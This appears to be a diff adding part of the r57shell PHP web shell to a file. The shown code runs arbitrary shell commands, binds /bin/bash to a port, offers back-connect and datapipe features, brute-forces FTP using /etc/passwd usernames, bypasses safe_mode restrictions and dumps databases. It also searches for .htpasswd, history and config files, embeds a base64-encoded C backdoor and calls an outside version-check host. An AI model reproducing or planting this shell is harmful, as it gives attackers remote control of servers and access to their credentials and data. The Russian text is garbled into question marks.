+ echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)." ";
+ switch($sql->query($query))
+ {
+ case '0':
+ echo "";
+ break;
+ case '1':
+ if($sql->get_result())
+ {
+ echo "";
+ foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
+ $keys = @implode(" ", $sql->columns);
+ echo " ".$keys." ";
+ for($i=0;$i<$sql->num_rows;$i++)
+ {
+ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
+ $values = @implode(" ",$sql->rows[$i]);
+ echo ' '.$values.' ';
+ }
+ echo "
";
+ }
+ break;
+ case '2':
+ $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
+ echo " ";
+ break;
+ }
+ }
+ }
+ }
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_server',0,$_POST['db_server']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "";
+ echo "Base: base."\"> ";
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(__FILE__);
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+$lang=array(
+'ru_text1' =>'??????????? ???????',
+'ru_text2' =>'?????????? ?????? ?? ???????',
+'ru_text3' =>'????????? ???????',
+'ru_text4' =>'??????? ??????????',
+'ru_text5' =>'???????? ?????? ?? ??????',
+'ru_text6' =>'????????? ????',
+'ru_text7' =>'??????',
+'ru_text8' =>'???????? ?????',
+'ru_butt1' =>'?????????',
+'ru_butt2' =>'?????????',
+'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
+'ru_text10'=>'??????? ????',
+'ru_text11'=>'?????? ??? ???????',
+'ru_butt3' =>'???????',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-?????',
+'ru_text14'=>'????',
+'ru_butt4' =>'?????????',
+'ru_text15'=>'???????? ?????? ? ?????????? ???????',
+'ru_text16'=>'????????????',
+'ru_text17'=>'????????? ????',
+'ru_text18'=>'????????? ????',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'????????????',
+'ru_text21'=>'????? ???',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'????????? ????',
+'ru_text24'=>'????????? ????',
+'ru_text25'=>'????????? ????',
+'ru_text26'=>'????????????',
+'ru_butt5' =>'?????????',
+'ru_text28'=>'?????? ? safe_mode',
+'ru_text29'=>'?????? ????????',
+'ru_butt6' =>'???????',
+'ru_text30'=>'???????? ?????',
+'ru_butt7' =>'???????',
+'ru_text31'=>'???? ?? ??????',
+'ru_text32'=>'?????????? PHP ????',
+'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
+'ru_butt8' =>'?????????',
+'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
+'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
+'ru_text36'=>'???? . ???????',
+'ru_text37'=>'?????',
+'ru_text38'=>'??????',
+'ru_text39'=>'????',
+'ru_text40'=>'???? ??????? ???? ??????',
+'ru_butt9' =>'????',
+'ru_text41'=>'????????? ? ?????',
+'ru_text42'=>'?????????????? ?????',
+'ru_text43'=>'????????????? ????',
+'ru_butt10'=>'?????????',
+'ru_butt11'=>'?????????????',
+'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
+'ru_text45'=>'???? ????????',
+'ru_text46'=>'???????? phpinfo()',
+'ru_text47'=>'???????? ???????? php.ini',
+'ru_text48'=>'???????? ????????? ??????',
+'ru_text49'=>'???????? ??????? ? ???????',
+'ru_text50'=>'?????????? ? ??????????',
+'ru_text51'=>'?????????? ? ??????',
+'ru_text52'=>'????? ??? ??????',
+'ru_text53'=>'?????? ? ?????',
+'ru_text54'=>'????? ?????? ? ??????',
+'ru_butt12'=>'?????',
+'ru_text55'=>'?????? ? ??????',
+'ru_text56'=>'?????? ?? ???????',
+'ru_text57'=>'???????/??????? ????/??????????',
+'ru_text58'=>'???',
+'ru_text59'=>'????',
+'ru_text60'=>'??????????',
+'ru_butt13'=>'???????/???????',
+'ru_text61'=>'???? ??????',
+'ru_text62'=>'?????????? ???????',
+'ru_text63'=>'???? ??????',
+'ru_text64'=>'?????????? ???????',
+'ru_text65'=>'???????',
+'ru_text66'=>'???????',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'???????',
+'ru_text69'=>'????????1',
+'ru_text70'=>'????????2',
+'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
+'ru_text72'=>'????? ??? ??????',
+'ru_text73'=>'?????? ? ?????',
+'ru_text74'=>'?????? ? ??????',
+'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
+'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
+'ru_text80'=>'???',
+'ru_text81'=>'????',
+'ru_text82'=>'???? ??????',
+'ru_text83'=>'?????????? SQL ???????',
+'ru_text84'=>'SQL ??????',
+'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
+'ru_text86'=>'?????????? ????? ? ???????',
+'ru_butt14'=>'???????',
+'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
+'ru_text88'=>'FTP-??????:????',
+'ru_text89'=>'???? ?? ftp ???????',
+'ru_text90'=>'????? ????????',
+'ru_text91'=>'???????????? ?',
+'ru_text92'=>'??? ?????????',
+'ru_text93'=>'FTP',
+'ru_text94'=>'FTP-????????',
+'ru_text95'=>'?????? ?????????????',
+'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
+'ru_text97'=>'????????? ??????????: ',
+'ru_text98'=>'??????? ???????????: ',
+'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
+'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
+'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
+'ru_text102'=>'?????',
+'ru_text103'=>'???????? ??????',
+'ru_text104'=>'???????? ????? ?? ???????? ????',
+'ru_text105'=>'????',
+'ru_text106'=>'??',
+'ru_text107'=>'????',
+'ru_butt15'=>'?????????',
+'ru_text108'=>'????? ??????',
+'ru_text109'=>'????????',
+'ru_text110'=>'??????????',
+'ru_text111'=>'SQL-?????? : ????',
+'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',
+'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',
+'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',
+'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',
+'ru_text116'=>'?????????? ????',
+'ru_text117'=>'?',
+'ru_text118'=>'???? ??????????',
+'ru_text119'=>'?? ??????? ??????????? ????',
+'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
+'ru_err1'=>'??????! ?? ???? ????????? ???? ',
+'ru_err2'=>'??????! ?? ??????? ??????? ',
+'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
+'ru_err4'=>'?????? ??????????? ?? ftp ???????',
+'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
+'ru_err6'=>'??????! ?? ??????? ????????? ??????',
+'ru_err7'=>'?????? ??????????',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Executed command',
+'eng_text2' =>'Execute command on server',
+'eng_text3' =>'Run command',
+'eng_text4' =>'Work directory',
+'eng_text5' =>'Upload files on server',
+'eng_text6' =>'Local file',
+'eng_text7' =>'Aliases',
+'eng_text8' =>'Select alias',
+'eng_butt1' =>'Execute',
+'eng_butt2' =>'Upload',
+'eng_text9' =>'Bind port to /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Password for access',
+'eng_butt3' =>'Bind',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Connect',
+'eng_text15'=>'Upload files from remote server',
+'eng_text16'=>'With',
+'eng_text17'=>'Remote file',
+'eng_text18'=>'Local file',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'Use',
+'eng_text21'=>' New name',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Local port',
+'eng_text24'=>'Remote host',
+'eng_text25'=>'Remote port',
+'eng_text26'=>'Use',
+'eng_butt5' =>'Run',
+'eng_text28'=>'Work in safe_mode',
+'eng_text29'=>'ACCESS DENIED',
+'eng_butt6' =>'Change',
+'eng_text30'=>'Cat file',
+'eng_butt7' =>'Show',
+'eng_text31'=>'File not found',
+'eng_text32'=>'Eval PHP code',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'Test',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'Database . Table',
+'eng_text37'=>'Login',
+'eng_text38'=>'Password',
+'eng_text39'=>'Database',
+'eng_text40'=>'Dump database table',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'Save dump in file',
+'eng_text42'=>'Edit files',
+'eng_text43'=>'File for edit',
+'eng_butt10'=>'Save',
+'eng_text44'=>'Can\'t edit file! Only read access!',
+'eng_text45'=>'File saved',
+'eng_text46'=>'Show phpinfo()',
+'eng_text47'=>'Show variables from php.ini',
+'eng_text48'=>'Delete temp files',
+'eng_butt11'=>'Edit file',
+'eng_text49'=>'Delete script from server',
+'eng_text50'=>'View cpu info',
+'eng_text51'=>'View memory info',
+'eng_text52'=>'Find text',
+'eng_text53'=>'In dirs',
+'eng_text54'=>'Find text in files',
+'eng_butt12'=>'Find',
+'eng_text55'=>'Only in files',
+'eng_text56'=>'Nothing :(',
+'eng_text57'=>'Create/Delete File/Dir',
+'eng_text58'=>'name',
+'eng_text59'=>'file',
+'eng_text60'=>'dir',
+'eng_butt13'=>'Create/Delete',
+'eng_text61'=>'File created',
+'eng_text62'=>'Dir created',
+'eng_text63'=>'File deleted',
+'eng_text64'=>'Dir deleted',
+'eng_text65'=>'Create',
+'eng_text66'=>'Delete',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Command',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Text for find',
+'eng_text73'=>'Find in folder',
+'eng_text74'=>'Find in files',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Search text in files via find',
+'eng_text80'=>'Type',
+'eng_text81'=>'Net',
+'eng_text82'=>'Databases',
+'eng_text83'=>'Run SQL query',
+'eng_text84'=>'SQL query',
+'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
+'eng_text86'=>'Download files from server',
+'eng_butt14'=>'Download',
+'eng_text87'=>'Download files from remote ftp-server',
+'eng_text88'=>'FTP-server:port',
+'eng_text89'=>'File on ftp',
+'eng_text90'=>'Transfer mode',
+'eng_text91'=>'Archivation',
+'eng_text92'=>'without archivation',
+'eng_text93'=>'FTP',
+'eng_text94'=>'FTP-bruteforce',
+'eng_text95'=>'Users list',
+'eng_text96'=>'Can\'t get users list',
+'eng_text97'=>'checked: ',
+'eng_text98'=>'success: ',
+'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
+'eng_text100'=>'Send file to remote ftp server',
+'eng_text101'=>'Use reverse (user -> resu) login for password',
+'eng_text102'=>'Mail',
+'eng_text103'=>'Send email',
+'eng_text104'=>'Send file to email',
+'eng_text105'=>'To',
+'eng_text106'=>'From',
+'eng_text107'=>'Subj',
+'eng_butt15'=>'Send',
+'eng_text108'=>'Mail',
+'eng_text109'=>'Hide',
+'eng_text110'=>'Show',
+'eng_text111'=>'SQL-Server : Port',
+'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
+'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
+'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
+'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
+'eng_text116'=>'Copy from',
+'eng_text117'=>'to',
+'eng_text118'=>'File copied',
+'eng_text119'=>'Cant copy file',
+'eng_err0'=>'Error! Can\'t write in file ',
+'eng_err1'=>'Error! Can\'t read file ',
+'eng_err2'=>'Error! Can\'t create ',
+'eng_err3'=>'Error! Can\'t connect to ftp',
+'eng_err4'=>'Error! Can\'t login on ftp server',
+'eng_err5'=>'Error! Can\'t change dir on ftp',
+'eng_err6'=>'Error! Can\'t sent mail',
+'eng_err7'=>'Mail send',
+);
+/*
+?????? ??????
+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
+?? ?????? ???? ????????? ??? ???????? ???????.
+*/
+$aliases=array(
+'find suid files'=>'find / -type f -perm -04000 -ls',
+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
+'find sgid files'=>'find / -type f -perm -02000 -ls',
+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
+'find config.inc.php files'=>'find / -type f -name config.inc.php',
+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
+'find config* files'=>'find / -type f -name "config*"',
+'find config* files in current dir'=>'find . -type f -name "config*"',
+'find all writable files'=>'find / -type f -perm -2 -ls',
+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
+'find all writable directories'=>'find / -type d -perm -2 -ls',
+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
+'find all writable directories and files'=>'find / -perm -2 -ls',
+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
+'find all service.pwd files'=>'find / -type f -name service.pwd',
+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
+'find all .htpasswd files'=>'find / -type f -name .htpasswd',
+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
+'find all .bash_history files'=>'find / -type f -name .bash_history',
+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
+'find all .mysql_history files'=>'find / -type f -name .mysql_history',
+'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
+'list file attributes on a Linux second extended file system'=>'lsattr -va',
+'show opened ports'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = " :: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " 4 ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." "; }
+ else
+ {
+ echo '';
+ foreach($users as $user) { echo $user." "; }
+ echo ' ';
+ }
+ echo " "; die();
+ }
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $unix = 0; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function get_users()
+{
+ $users = array();
+ $rows=file('/etc/passwd');
+ if(!$rows) return 0;
+ foreach ($rows as $string)
+ {
+ $user = @explode(":",$string);
+ if(substr($string,0,1)!='#') array_push($users,$user[0]);
+ }
+ return $users;
+}
+function err($n,$txt='')
+{
+echo '';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = " ";
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err(0);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2lu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m5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+if($unix)
+ {
+ if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
+ if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
+ if($safe_mode) { $sysctl = '-'; }
+ else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
+ else
+ {
+ $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
+ if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
+ if(empty($sysctl)) { $sysctl = '-'; }
+ setcookie('sysctl',$sysctl);
+ }
+ }
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print " ";
+@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}
+echo ''.ws(2).'! '.ws(2).'r57shell '.$version.' ';
+echo ws(2)."".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+if($unix)
+ {
+ echo ws(2).$lb." cpu ".$rb;
+ echo ws(2).$lb." mem ".$rb;
+ echo ws(2).$lb." users ".$rb;
+ }
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2)."safe_mode: ";
+echo (($safe_mode)?("ON "):("OFF "));
+echo " ".ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo " ".ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ".ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo " ".ws(2)."Free space : ".view_size($free)." Total space: ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if($unix){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
